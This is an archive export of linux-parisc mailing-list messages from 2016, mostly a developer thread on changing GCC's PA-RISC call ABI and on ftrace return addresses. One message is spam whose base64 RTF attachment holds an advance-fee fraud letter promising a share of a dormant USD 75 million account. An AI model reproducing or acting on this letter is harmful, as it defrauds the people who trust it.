        Sun, 13 Nov 2016 14:48:10 -0500
Original-Received: from [192.168.20.58] ([92.203.57.117]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MQR3s-1cDglx3bOW-00TiXR; Sun, 13
 Nov 2016 20:48:01 +0100
In-Reply-To: <93610ddc-78d3-f456-9ca0-59362ac7b355@redhat.com>
X-Provags-ID: V03:K0:vIsPkTwO0huICQ/6iXiUtB26MDX16Nqu9IiG5tz5Ztt7Oi32Oxg
 +vdOmnLR0V0VHB4bqDRpsTPqiZueuMYMS88vE0F2cM5SG59pOHL0oXbfZ/C89CTl6fRq3od
 ENEitqXG7Hu9lWQRDk4UEn0gAvF7chkbBq7zyq9wWLhnRhApBT4LqzrJzf8rXTXMsgbWVg0
 /MuiaBFc+lAkFtMZSgZpA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ejxixuPoRcU=:K0mmravDJEsnCFabzUoURv
 1Uis7YCtAIyRzfcAuRj5k+1cGhoaJ3w16FXyBemawU9NhcA3qB9Bgq2O994u8fFw6OMVFtecP
 qXH18aBLhYRGFJOdHlGJPBpXSTAmag18Q9ZF4sACehpO6FNbtApZUFHNnOyqqCrdCU7KzOCvo
 TKiBDlKytR1angxIeihlq48CTd14Nr/q/o0vK27XGi3vZnQEZJyPy8u91zQV2HlKj58UX4+uj
 TFo7N+EIKAN5gTcceJ0+SSS49HQ1YpWxDo9ZJrol+itEJxL81gkH9ydUdb/JibxdrosnplCgJ
 d2d19bQYUWCR2+ZLi3++0TXpBdM0sKw1X/bxrml0XeAU4er735kXIY+qQWprDUr0oC77lcDB/
 Q/WZOvMXHYW/t1fOnrGgJBHbJArTQcXR826iXPtAf+gw0dNKMQiXVYG+RlVhJqZlqyiGeUPL6
 c9IWlLXuOWzFKICulS/r4dbtJfXxq+zUXsyb1g4yzqrlqPrVMqHJlLjA7aD42NvnRNBgqLDba
 2zsEqkCIBVfqLFlASgQDNhMrMfe6YQdsDQK3Eh1r8cpkFMfrgZlVOayuWopSSdTo55Gi5IOuy
 vdTt+nmAFODucXzq+spdm4nSEMLMESWbrkfsT+WMAcFQeq/6m4pSp0/LSXFle+q6L6FQ7OQv4
 UFBsPQ3WlpVGGjoJBiqF82aj2KtLR5t/VzRDTycGgSbGtz99uvUJbJPjKD3w5qVpX+lPInWYx
 cFWHFR13tY3l8XVokPHZe4Nbxfu0SVPJ9aZvzoFuv/lLNqAqqk9/GxznVAeKTn5oUcrgv15J 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27046
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27046>

On 13.11.2016 19:56, Jeff Law wrote:
> On 11/13/2016 11:37 AM, Helge Deller wrote:
>> If you are going to change the ABI, maybe we can add more things as well?
>> Which comes to my mind here is for example an optimized mcount() function
>> which allows changing the return pointer (see -mmcount-ra-address on MIPS) ?

> As in twiddling RP to return to a different point?

No, that's not the use case for me.

I was working on the ftrace functionality in the Linux kernel.
I'd need to look up the full details again, but as far as I remember one of 
the tracers wants to know the function to which the caller of mcount() would return,
so some kind of simple __builtin_return_address(2).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Dr. Felix Collins" <felixcollinsfnb2@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: PLEASE VIEW THE ATTACHED FILE AND CONTACT ME.
Date: Mon, 14 Nov 2016 07:43:19 +0000 (UTC)
Lines: 73
Approved: news@gmane.org
Message-ID: <1666584935.3489547.1479109399212__23900.1606627882$1479110248$gmane$org@mail.yahoo.com>
References: <1666584935.3489547.1479109399212.ref@mail.yahoo.com>
Reply-To: "Dr. Felix Collins" <felixcollinsa@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; 
        boundary="----=_Part_3489546_1885277376.1479109399212"
X-Trace: blaine.gmane.org 1479110248 22833 195.159.176.226 (14 Nov 2016 07:57:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 14 Nov 2016 07:57:28 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 14 08:57:24 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c6C8Y-0003BS-RK
	for glpp-linux-parisc@m.gmane.org; Mon, 14 Nov 2016 08:57:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932896AbcKNH5E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 14 Nov 2016 02:57:04 -0500
Original-Received: from nm33-vm5.bullet.mail.ne1.yahoo.com ([98.138.229.69]:35765 "EHLO
        nm33-vm5.bullet.mail.ne1.yahoo.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1752569AbcKNH4z (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 14 Nov 2016 02:56:55 -0500
X-Greylist: delayed 354 seconds by postgrey-1.27 at vger.kernel.org; Mon, 14 Nov 2016 02:56:55 EST
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1479109860; bh=D47zgDmUZLggkWF9nta+ao5DvbZzK02yi1aqvGbtVro=; h=Date:From:Reply-To:Subject:References:From:Subject; b=Z+lcvELVokuxiNyyDVSITVnyftrq/e3CnnHPdHU3dXT4oY58ortjNlfmssvSajgFx6mC60W/sO+fe2jPypt+Y/x7egr2Zr62EXZaDuu70EmqQzPex0gahmFFDxoLXCBcb1RjWVTTU3MOEKMWxHI5lGkRCvN6ksT38DRL6UkDOFesrgVTiMoNP8ICGbyg+D6Tsv4e9qdeJPPV9Ii5TMDNIh/HHrhJuC3fytRhAbmfKcMXiExgh/w82zDEZFaKiTtlhziAgd9V5mGbFUI+rX0t47rEZaMdsWSGVQ089FDxb6lYz1lJa+dOTO1hfQGTfW970FbHd1UH2mCgktN8M9766A==
Original-Received: from [127.0.0.1] by nm33.bullet.mail.ne1.yahoo.com with NNFMP; 14 Nov 2016 07:51:00 -0000
Original-Received: from [98.138.100.111] by nm33.bullet.mail.ne1.yahoo.com with NNFMP; 14 Nov 2016 07:48:14 -0000
Original-Received: from [66.196.81.171] by tm100.bullet.mail.ne1.yahoo.com with NNFMP; 14 Nov 2016 07:43:20 -0000
Original-Received: from [98.139.212.200] by tm17.bullet.mail.bf1.yahoo.com with NNFMP; 14 Nov 2016 07:43:19 -0000
Original-Received: from [127.0.0.1] by omp1009.mail.bf1.yahoo.com with NNFMP; 14 Nov 2016 07:43:19 -0000
X-Yahoo-Newman-Property: ymail-4
X-Yahoo-Newman-Id: 970011.81765.bm@omp1009.mail.bf1.yahoo.com
X-YMail-OSG: WeXcQKEVM1naJ1HtrGQFCFHqGkIt9ySg1Ige5goF5TMKIsYZmxDpzqtxsC4TwgI
 NONY6Ms5r0kBHWyk2bU.huSfNcb2M1K3WKfBfhaslcb6zpJw7rxASMW6Ceid_0Juo9fJ6dgfy3tC
 J_silETHlkXm65olA.XeGeMC_fN5XFFmynaF.hp3zhRPMSZ1hKZehP5rlB1aVKKF_r7_13A7eerR
 8B8wR2kl5bFu401LYYfuUlfCeKA6tnRoNwAplVhAAewh7ulRB.Y8jNc02zn44_nvmIKFlYFIGtTS
 YjTHm0F2.yBgkIwmSeP.PLEoxgAUp1_yHM32nIEd6F5i8UbqOpVwDusq6URI5zb0MPHwQpe0Fnhm
 O_CyhYV5UMdlZqJv6PlWXhVsbomNOq.u8g8iyxcML6H.criS0tdYvbs94Gz7XkL0UDLmG2mtH1_k
 i_gV8HhINkSwRobmd3GKD__4uWZKlXPt3l.lj673AFEndSUB4iKBLAXo.dDdPwDrMNgfzOxZgp9h
 gbAHUOm2XPpk-
Original-Received: from jws400181.mail.bf2.yahoo.com by sendmailws164.mail.bf1.yahoo.com; Mon, 14 Nov 2016 07:43:19 +0000; 1479109399.574
Content-Length: 4510
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27047
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27047>

------=_Part_3489546_1885277376.1479109399212
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit



------=_Part_3489546_1885277376.1479109399212
Content-Type: application/msword
Content-Transfer-Encoding: base64
Content-Disposition: attachment; 
	filename="FROM FIRST NATIONAL BANK OF SOUTH AFRICA (F.N.B)..rtf"
Content-ID: <f03ac67e-da25-e224-9d59-4c56ed95efcb@yahoo.com>

e1xydGYxXGFuc2lcYW5zaWNwZzEyNTJcZGVmZjBcZGVmbGFuZzcxNzd7XGZvbnR0Ymx7XGYwXGZz
d2lzc1xmY2hhcnNldDAgQXJpYWw7fX0NCntcKlxnZW5lcmF0b3IgTXNmdGVkaXQgNS40MS4xNS4x
NTEyO31cdmlld2tpbmQ0XHVjMVxwYXJkXGYwXGZzMjQgSSBhbSBGZWxpeCBDb2xsaW5zLCBJIHdv
cmsgd2l0aCB0aGUgRklSU1QgTkFUSU9OQUwgQkFOSyBPRiBTT1VUSCBBRlJJQ0EgKEYuTi5CKS5c
cGFyDQpQbGVhc2UgY29udGFjdCBtZSB3aXRoIHRoaXMgZW1haWwgYWRkcmVzc2VzLlxwYXINCmZl
bGl4Y29sbGluc2FAZ21haWwuY29tXHBhcg0KUGxlYXNlIGNhbGwgbWUgb24gbXkgcHJpdmF0ZSBu
dW1iZXIgKCsyNy03OSAtMTQxLTIzODUpXHBhcg0KXHBhcg0KXHBhcg0KQVRURU5USU9OOiBTSVIv
TUFEQU0sXHBhcg0KXHBhcg0KSSBkbyB1bmRlcnN0YW5kIHRoZSBjb25jZXJuIHRoaXMgbGV0dGVy
IHdpbGwgYnJpbmcgdG8geW91IGZvciB0aGUgZmFjdCB0aGF0IGl0IGNvbWVzIGZyb20gYSB0b3Rh
bCBzdHJhbmdlciwgYnV0IGJlIHJlc3QgYXNzdXJlZCBmb3IgaXQgY29tZXMgd2l0aCBnb29kIGlu
dGVudGlvbnMuIEkgZ290IHlvdXIgY29udGFjdCB0aHJvdWdoIHRoZSBTb3V0aCBBZnJpY2FuIElu
dGVybmF0aW9uYWwgRXhjaGFuZ2UgTmV0d29yayBPbi1saW5lIGhlcmUgaW4gSm9oYW5uZXNidXJn
LCBTb3V0aCBBZnJpY2EuIEZvciBwdXJwb3NlIG9mIGludHJvZHVjdGlvbiBJIGFtIEZlbGl4IENv
bGxpbnMsIEkgd29yayB3aXRoIHRoZSBGSVJTVCBOQVRJT05BTCBCQU5LIE9GIFNPVVRIIEFGUklD
QSAoRi5OLkIpICBUaGVyZSBpcyBhbiBhY2NvdW50IG9wZW5lZCBpbiB0aGlzIGJhbmsgc2luY2Ug
MTk4MCBhbmQgc2luY2UgMTk5NSBub2JvZHkgaGFzIG9wZXJhdGVkIG9uIHRoaXMgYWNjb3VudCBh
Z2Fpbi4gQWZ0ZXIgZ29pbmcgdGhyb3VnaCBzb21lIG9sZCBmaWxlcyBpbiB0aGUgcmVjb3Jkcywg
SSBkaXNjb3ZlcmVkIHRoYXQgaWYgSSBkb24ndCByZW1pdCB0aGlzIG1vbmV5IG91dCB1cmdlbnRs
eSBpdCB3b3VsZCBiZSBmb3JmZWl0ZWQgZm9yIG5vdGhpbmcuXHBhcg0KXHBhcg0KVGhlIG93bmVy
IG9mIHRoaXMgYWNjb3VudCBpcyBNci4gU21pdGggLkIuIEFuZHJlYXMsIGEgZm9yZWlnbmVyIGFu
ZCBhIG1pbmVyIGF0IEtydWdlciBHb2xkIENvLW9wZXJhdGlvbiwgYSBnZW9sb2dpc3QgYnkgcHJv
ZmVzc2lvbiBhbmQgaGUgZGllZCBzaW5jZSAxOTk0LiBObyBvdGhlciBwZXJzb24ga25vd3MgYWJv
dXQgdGhpcyBhY2NvdW50IG9yIGFueXRoaW5nIGNvbmNlcm5pbmcgaXQsIHRoZSBhY2NvdW50IGhh
cyBubyBvdGhlciBiZW5lZmljaWFyeSBhbmQgbXkgaW52ZXN0aWdhdGlvbiBwcm92ZWQgdG8gbWUg
YXMgd2VsbCB0aGF0IHRoZSBjb21wYW55IGRvZXMgbm90IGtub3cgYW55dGhpbmcgYWJvdXQgdGhp
cyBhY2NvdW50IGFuZCB0aGUgYW1vdW50IGludm9sdmVkIGlzIFVTRCQ3NSwwMDAuMDAwLDAwICgg
U2V2ZW50eSBGaXZlIE1pbGxpb24gVW5pdGVkIFN0YXRlcyBEb2xsYXJzKS4gSSBhbSBvbmx5IGNv
bnRhY3RpbmcgeW91IGFzIGEgZm9yZWlnbmVyIGJlY2F1c2UgdGhpcyBtb25leSBjYW5ub3QgYmUg
YXBwcm92ZWQgdG8gYSBsb2NhbCBiYW5rIGhlcmUsIGJ1dCBjYW4gb25seSBiZSBhcHByb3ZlZCB0
byBhbnkgZm9yZWlnbiBhY2NvdW50IGJlY2F1c2UgdGhlIG1vbmV5IGlzIGluIFVuaXRlZCBTdGF0
ZXMgRG9sbGFycyBhbmQgdGhlIGZvcm1lciBvd25lciBvZiB0aGUgYWNjb3VudCBNci4gU21pdGgg
LkIgLiBBbmRyZWFzIGlzIGEgZm9yZWlnbmVyIHRvby4gSSBuZWVkIGEgdHJ1dGhmdWwgcGVyc29u
IGluIHRoaXMgYnVzaW5lc3MgYmVjYXVzZSBJIGRvbid0IHdhbnQgdG8gbWFrZSBtaXN0YWtlcy5c
cGFyDQpccGFyDQogSSBuZWVkIHlvdXIgc3Ryb25nIGFzc3VyYW5jZSBhbmQgdHJ1c3QuIFdpdGgg
bXkgcG9zaXRpb24gbm93IGluIG9mZmljZSBJIGNhbiB0cmFuc2ZlciB0aGlzIG1vbmV5IHRvIGFu
eSBmb3JlaWduIHJlbGlhYmxlIGFjY291bnQsIHRocm91Z2ggb24tbGluZSBiYW5raW5nIG9yIFRl
bGVncmFwaGljIFRyYW5zZmVyIChULlQpIHdoaWNoIHlvdSBjYW4gcHJvdmlkZSB3aXRoIGFzc3Vy
YW5jZSB0aGF0IHRoaXMgbW9uZXkgd2lsbCBiZSBpbnRhY3QgcGVuZGluZyBteSBwaHlzaWNhbCBh
cnJpdmFsIHRvIHlvdXIgY291bnRyeSBmb3Igc2hhcmluZy4gSSB3aWxsIGFwcGx5IGZvciBhbm51
YWwgbGVhdmUgdG8gZ2V0IGEgdmlzYSBpbW1lZGlhdGVseSBJIGhlYXIgZnJvbSB5b3UgdGhhdCB5
b3UgYXJlIHJlYWR5IHRvIGFjdCBhbmQgcmVjZWl2ZSB0aGlzIG1vbmV5IGluIHlvdXIgYWNjb3Vu
dC4gQXQgdGhlIGNvbmNsdXNpb24gb2YgdGhpcyBidXNpbmVzcywgSSB3aWxsIGNvbWUgdG8geW91
ciBjb3VudHJ5IGZvciB3aXRoZHJhd2FsIGFuZCBzaGFyaW5nIGFuZCBvdGhlciBpbnZlc3RtZW50
cy4geW91IHdpbGwgYmUgZ2l2ZW4gNDAlIG9mIHRoZSB0b3RhbCBhbW91bnQsIDUwJSB3aWxsIGJl
IGZvciBtZSAsIGFuZCB3aGlsZSAxMCUgd2lsbCBiZSBmb3IgZXhwZW5zZXMgYm90aCBwYXJ0aWVz
IG1pZ2h0IGluY3VyIGR1cmluZyB0aGUgcHJvY2VzcyBvZiB0cmFuc2ZlcnJpbmcgdGhpcyBtb25l
eS5ccGFyDQpccGFyDQpUaGVyZWZvcmUsIGlmIHlvdSBhcmUgd2lsbGluZyBhbmQgaW50ZXJlc3Rl
ZCB0byByZW5kZXIgdGhlIG5lZWRlZCBhc3Npc3RhbmNlLCBFbmRlYXZvciB0byByZXBseSB0aHJv
dWdoIG15IGVtYWlsIGFkZHJlc3MsIEkgYWxzbyBuZWVkIHlvdXIgcHJpdmF0ZSBwaG9uZSBhbmQg
ZmF4IG51bWJlcnMgZm9yIGVhc3kgY29tbXVuaWNhdGlvbi4gSSB3aWxsIGdpdmUgbW9yZSBjbGFy
aWZpY2F0aW9ucyBvbiB0aGUgbW9kYWxpdGllcyBuZWVkZWQgZm9yIHRoZSBzdWNjZXNzZnVsIGNv
bXBsZXRpb24gb2YgdGhpcyB0cmFuc2FjdGlvbi5ccGFyDQpccGFyDQpccGFyDQpCZXN0IFJlZ2Fy
ZHMsXHBhcg0KRHIuIEZlbGl4IENvbGxpbnNccGFyDQogXHBhcg0KfQ0KAA==

------=_Part_3489546_1885277376.1479109399212--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jeff Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Mon, 14 Nov 2016 01:21:45 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <06f2cef7-6946-911e-53d8-375637d54096@redhat.com>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
 <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de>
 <93610ddc-78d3-f456-9ca0-59362ac7b355@redhat.com>
 <2d705201-5651-b4e7-9e92-6d0f175b44b9@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1479111730 3839 195.159.176.226 (14 Nov 2016 08:22:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 14 Nov 2016 08:22:10 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 14 09:22:05 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c6CWT-0006Sf-6U
	for glpp-linux-parisc@m.gmane.org; Mon, 14 Nov 2016 09:21:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932862AbcKNIVs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 14 Nov 2016 03:21:48 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:44722 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932514AbcKNIVr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 14 Nov 2016 03:21:47 -0500
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id A494DC037F89;
        Mon, 14 Nov 2016 08:21:46 +0000 (UTC)
Original-Received: from localhost.localdomain (ovpn-116-64.phx2.redhat.com [10.3.116.64])
        by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id uAE8Ljhd029501;
        Mon, 14 Nov 2016 03:21:46 -0500
In-Reply-To: <2d705201-5651-b4e7-9e92-6d0f175b44b9@gmx.de>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.32]); Mon, 14 Nov 2016 08:21:46 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27048
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27048>

On 11/13/2016 12:48 PM, Helge Deller wrote:
> On 13.11.2016 19:56, Jeff Law wrote:
>> On 11/13/2016 11:37 AM, Helge Deller wrote:
>>> If you are going to change the ABI, maybe we can add more things as well?
>>> Which comes to my mind here is for example an optimized mcount() function
>>> which allows changing the return pointer (see -mmcount-ra-address on MIPS) ?
>
>> As in twiddling RP to return to a different point?
>
> No, that's not the use case for me.
>
> I was working on the ftrace functionality in the Linux kernel.
> I'd need to look up the full details again, but as far as I remember one of
> the tracers wants to know the function to which the caller of mcount() would return,
> so some kind of simple __builtin_return_address(2).
Ah.  Isn't that going to be sitting at sp-20 or something like that.  My 
PA is rusty, but my recollection is that's supposed to be at a fixed 
location in the frame.
jeff
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Mon, 14 Nov 2016 08:32:15 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <CAE2sS1hv81jC_vf6C-A3_cv_Ds9R2au2pKVtyTH_K7P2Y7c5cA@mail.gmail.com>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1479130386 22718 195.159.176.226 (14 Nov 2016 13:33:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 14 Nov 2016 13:33:06 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>,
        Jeff Law <law@redhat.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 14 14:33:02 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c6HNB-0002FG-TC
	for glpp-linux-parisc@m.gmane.org; Mon, 14 Nov 2016 14:32:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752001AbcKNNcg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 14 Nov 2016 08:32:36 -0500
Original-Received: from mail-qk0-f182.google.com ([209.85.220.182]:34619 "EHLO
        mail-qk0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751564AbcKNNcR (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 14 Nov 2016 08:32:17 -0500
Original-Received: by mail-qk0-f182.google.com with SMTP id q130so95020163qke.1
        for <linux-parisc@vger.kernel.org>; Mon, 14 Nov 2016 05:32:16 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=VVsrD1X87IkmPTsdDDxgHwJd4Hpoekxa8gO0PkpZXHg=;
        b=S7fy6KYPaFxws1rdqKhz3pG/iwtJ9/QLAAwUqGr6tHrRA6cx+uItWa8dApnU84ky3m
         CQx5UIMNr/DDZJNiEflpiSlbiqdugR0SooLM0R4B+2dD168a4Y+Satisya4vEn8/gHx1
         ypjk9PWHUbk2q8IOZpPvxdReGNvReBrV5hgUE=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=VVsrD1X87IkmPTsdDDxgHwJd4Hpoekxa8gO0PkpZXHg=;
        b=RKS3NTZdLwQgs8B7v1TODbGyCfp8uBn9znjTUhCe2H0d1GbY0icADPlgITpuY/B/lY
         x4GXMu18Iipr7oDkwF+WBA8WS3ylIR8VUYEy6JaJKoMgNGI8Ka4TBCz6BUrf9eOOWBaD
         IKT4mbyZeiomTyNxVquqswtsQZZbO1Rq0w+UsjogHEWIvM5qYE6M+dEa0jpSgIKVyiwr
         TjT+yenN3Pcbau7vDOKqAzO7IL06c+Gg/+2UMKK0Yniq87TOV9XVhfT/6nR9ylu29RgS
         k0mMxbD/mNiHMx+QL8V6OlDsTQN0V2A/sbuEovSDdvk3cscSsaX8wBS7fyBvU21nXBuR
         2IoA==
X-Gm-Message-State: ABUngvc+fTwk8T5/sKEBbhzVWtx1xkAY98o6Xp26VzkWRWVxsg83EgoTBKYd86s8K3SfeYIXshbWc0XUAi3m3g==
X-Received: by 10.55.203.19 with SMTP id d19mr18445926qkj.215.1479130335917;
 Mon, 14 Nov 2016 05:32:15 -0800 (PST)
Original-Received: by 10.237.45.70 with HTTP; Mon, 14 Nov 2016 05:32:15 -0800 (PST)
X-Originating-IP: [67.70.96.49]
In-Reply-To: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27049
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27049>

On Sat, Nov 12, 2016 at 1:00 PM, John David Anglin <dave.anglin@bell.net> wrote:
> I'm thinking about adding a "-mabi=" option to change the call ABI.  Currently, objects larger than 64 bits
> in the 32-bit runtime are passed by reference and the callee copies the object when necessary.  This is
> opposite to x86 where the caller does the copies.  Most targets are caller copies.
>
> The problem with callee copies is that it doesn't work with openmp.  There are race problems and sometimes
> we get internal compiler errors with openmp code due to this problem.  This became apparent when new testcases
> were added to gcc-6.  It's tough to fix this problem in gcc.
>
> This is gcc PR:
> <https://gcc.gnu.org/bugzilla/show_bug.cgi?id=68733>.
>
> This is fixed if we change abi to caller copies (maybe "-mabi=gnu" and "-mabi=hp").  The default could be set
> by a configure options.  Probably, we would want the new gnu abi on linux as the default.  However, there is
> the potential to break stuff during the migration to the new abi.
>
> Opinions?

I think this is a good idea.

Anything that brings us slowly towards parity with other arches is
better in the long-run.

Any idea how to test the impact?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Change call ABI on PA-RISC
Date: Mon, 14 Nov 2016 10:11:07 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <77ee085f-205e-5fcb-d5e8-86bc95d5b9eb@bell.net>
References: <0E3ABDFC-D082-4DA8-9D5B-12FC7E95335F@bell.net>
 <bf499ea2-6148-9cf8-eba3-b0f6de5cf309@gmx.de>
 <93610ddc-78d3-f456-9ca0-59362ac7b355@redhat.com>
 <2d705201-5651-b4e7-9e92-6d0f175b44b9@gmx.de>
 <06f2cef7-6946-911e-53d8-375637d54096@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1479136300 32701 195.159.176.226 (14 Nov 2016 15:11:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 14 Nov 2016 15:11:40 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Jeff Law <law@redhat.com>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 14 16:11:36 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c6Iua-0004Vh-9Z
